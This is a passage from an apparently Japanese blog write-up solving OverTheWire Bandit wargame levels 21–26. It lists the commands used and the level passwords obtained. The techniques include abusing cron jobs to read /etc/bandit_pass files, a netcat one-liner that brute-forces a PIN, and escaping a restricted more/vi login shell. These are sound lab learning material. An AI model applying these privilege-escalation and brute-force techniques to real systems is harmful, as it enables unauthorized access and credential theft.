ここからがまたよくわからず、とにかくウェルノウンポート以外のポート番号でncをリッスンモードで起動し、もう一つのshellでごにょごにょやっていた

そもそも、このプログラムがどういうプログラムなのかもう一度振り返ってみると、接続先からテキストのラインを読み、とあるので、

$ nc -l 3100

とかやって、リッスンモードで起動しているshellに、bandit20のパス"GbKksEFF4yrVs6il55v6gwY5aVje5f0j"を貼り付け、
もう片方のshellで

$ ./suconnect 3100

とやれば

Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
Password matches, sending next password

という結果が表示され、ncの方を見てみると、bandit20のパスワードをペーストした下に、bandit21のパスワードが表示されていた

gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr

  • ポート番号一覧

TCPやUDPにおけるポート番号の一覧 - Wikipedia

Level 22

問題文には一つのプログラムが、ジョブスケジューラに従ったタイムのcronで動いている、とある
さらに、形式や何のコマンドが実行されているのかの為に/etc/cron.dを見ろとあったので、見てみる

ls -lしてみると、いろんなファイルがある

怪しそうな、cronjob_bandit22というものがあったのでcatしてみると

* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null

よって、/usr/bin/cronjob_bandit22.shというシェルスクリプトが常時動いているのがわかる

/usr/bin/cronjob_bandit22.shをcatしてみると、

#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

/tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgvのパーミッションを変えてくれて、そこにbandit22のパスワードをリダイレクトしてくれているらしい

よって、/tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgvを cat しておしまい

Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI

Level 23

問題文を読んでみると、またcronの問題らしい

前問と同様/etc/cron.dにあるファイルをなんかするらしいので移動してls -lしてみる

cronjob_bandit23というものがあったので、cat してみる

* * * * * bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null

このcronjob_bandit23がどういう処理をしているのか見てみる

$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget

これをこのまま実行してしまっては、whoamiにbandit22が入ってしまい、得られるのは結局bandit22のパスワードなので、

$ echo I am user bandit23 |md5sum |cut -d ' ' -f 1

とすると、8ca319486bfbbc3663ea0fbe81326349 という文字列が手に入るので

あとは、tmpの下にあるこいつをcatするだけ

$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349

jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n

Level 24

前回と同様、cronの問題

/etc/cron.d/cronjob_bandit24を見てみると

* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null

cronjob_bandit24.shが常時動いているらしい

$ cat /usr/bin/cronjob_bandit24.sh

として中身を見てみると、

#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        timeout -s 9 60 "./$i"
        rm -f "./$i"
     fi
done

/var/spool/$mynameの中身を、実行して、削除しているらしい

つまりなんとかして、実行させて、/etc/bandit_pass/bandit24 辺りを読みだせば良いのではと思ったので(cronjob_bandit24はbandit24として実行されるため)

/var/spool/bandit24に移動して、tmp.shを作成する

tmp.sh

#!/bin/sh

cat /etc/bandit_pass/bandit24

としたが、うまくいかなかったので

cat /etc/bandit_pass/bandit24 > hoge

と、リダイレクトするようにする

保存して実行権限を与えようとしたらファイルが消されてしまっていたりして苦労したが、なんとかうまいタイミングで実行権限を与えて実行されるまで待つ

すると、hogeが生成されているので、cat hoge でおしまい

UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

Level 25

ポート番号30002で、デーモンがリッスンしているらしく、bandit24のパスワードと、4桁のピンコードを与えると、bandit25のパスワードをくれるらしい

さらに、ピンコードの取得方法はブルートフォースしかない、とある

最初は、どこかにシェルスクリプトなどを作成して、実行するのかと思ったが、どこかの回で使った/tmpの下のディレクトリではファイルを作成できず、どうするかと思っていたが、シェル芸的にワンライナーでいいんじゃね、と思いワンライナーで書いてみる

書き方がわからなかったので、ググって、以下のサイトが参考になった

http://qiita.com/yuya_presto/items/d1a50565f187c7c8ec76

これの、シェルだけで、forループのワンライナーの項目を参考にして

$ for i in {0001..9999}; do echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ" $i; done

と書いてみる、パスワードとピンコードの渡し方がわからなかったので、nc で繋いで確認してみる

$ nc localhost 30002

すると、

I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.

とレスポンスがきて、パスワードとピンコードを空白であければよいとわかる

$ for i in {0001..9999}; do echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ" $i; done |nc localhost 30002

としてみるが、どうにもうまくいかない

もしかして、echoだと改行が入っていないので、それが問題じゃないかと思い、

$ for i in {0001..9999}; do echo -e "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ" $i\\n; done |nc localhost 30002

(eオプションで\nが改行として扱われる、さらに\をエスケープして、\nとする)

  • echoについて

http://www.mazn.net/blog/2009/01/06/169.html

上のワンライナーを実行すると、

・・・・・・
Wrong! Please enter the correct pincode. Try again.
Fail! You did not supply enough data. Try again.
Wrong! Please enter the correct pincode. Try again.
Fail! You did not supply enough data. Try again.
Wrong! Please enter the correct pincode. Try again.
Fail! You did not supply enough data. Try again.
Correct!
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

Exiting.

よって、uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

一番楽しかった

Level 26

最後の問題だけあって全然できなかった

ssh すると、ホームディレクトリにはbandit26の秘密鍵があるので、これを使って、bandit26にsshする

だが、すぐ切断されてしまって、なにもできない

前に似た問題があったなと、ssh して、任意のコマンド(ls)を実行してみたができない

前にコマンドを移し、パイプする形で実行してみると、

$ ls -al |ssh -i bandit26.sshkey bandit26@localhost

::::::::::::::
/home/bandit26/text.txt
::::::::::::::

text.txtがあるのがわかったがよくわからない

どういうことだと思い、問題文を読んでみると、どうやらbandit26では、shellがbashではない「何か」になっているらしい

/etc/shells を確認してみると、使えるshellが確認できるが、その中に、/usr/bin/showtext というshellが確認でき、cat してみると

#!/bin/sh

more ~/text.txt
exit 0

となっていて、先ほどのtext.txt を more しているらしい

ここで、このシェルを ssh するときにログインシェルにするのではないかとか考えてしまい

$ ssh -i bandit26.sshkey bandit26@localhost -t /usr/bin/showtext

などとしてしまっていた

もう一度考え直すと、これ向こうのシェルがshowtextなんだから、ログインした時点でtext.txtがmoreされている?と思ったのだが、

$ ssh -i bandit26.sshkey bandit26@localhost

としても全くできない

期限は今日の日曜日までとしていたので、ここまで来たがタイムアップ

ほんとにできている人いんのか・・とググってみて以下のサイトの
https://github.com/Cathon/mySolutions/blob/master/overthewire/Bandit/Level_25.md

Step1   before exec the command above the size of terminal should be small enough(util you can see 5 line)

ここで察した・・・

moreされている気配がなかったのは結局、moreするtext.txtが十分な長さがなかったので、普通に表示されている風に見えてしまっていた

よって、ターミナル自体を小さく、上にあるとおり5行ほどにする

そして、

$ ssh -i bandit26.sshkey bandit26@localhost

とすると、表示が途中で止まってくれる

manはviを起動することが出きるので、止まったところで v と打つと、viが起動できるので、あとは/etc/bandit_pass/bandit26にあるパスワードを

:e でファイルを開けるので

:e /etc/bandit_pass/bandit26

として、開いておわり

5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z

他の解答を参考する形になってしまって、非常に悔しかった・・・

頓知を働かせた解答で、思わずなるほど。。。と思った

途中飯も食わず、もくもくとやっていたため、とても疲れた。。。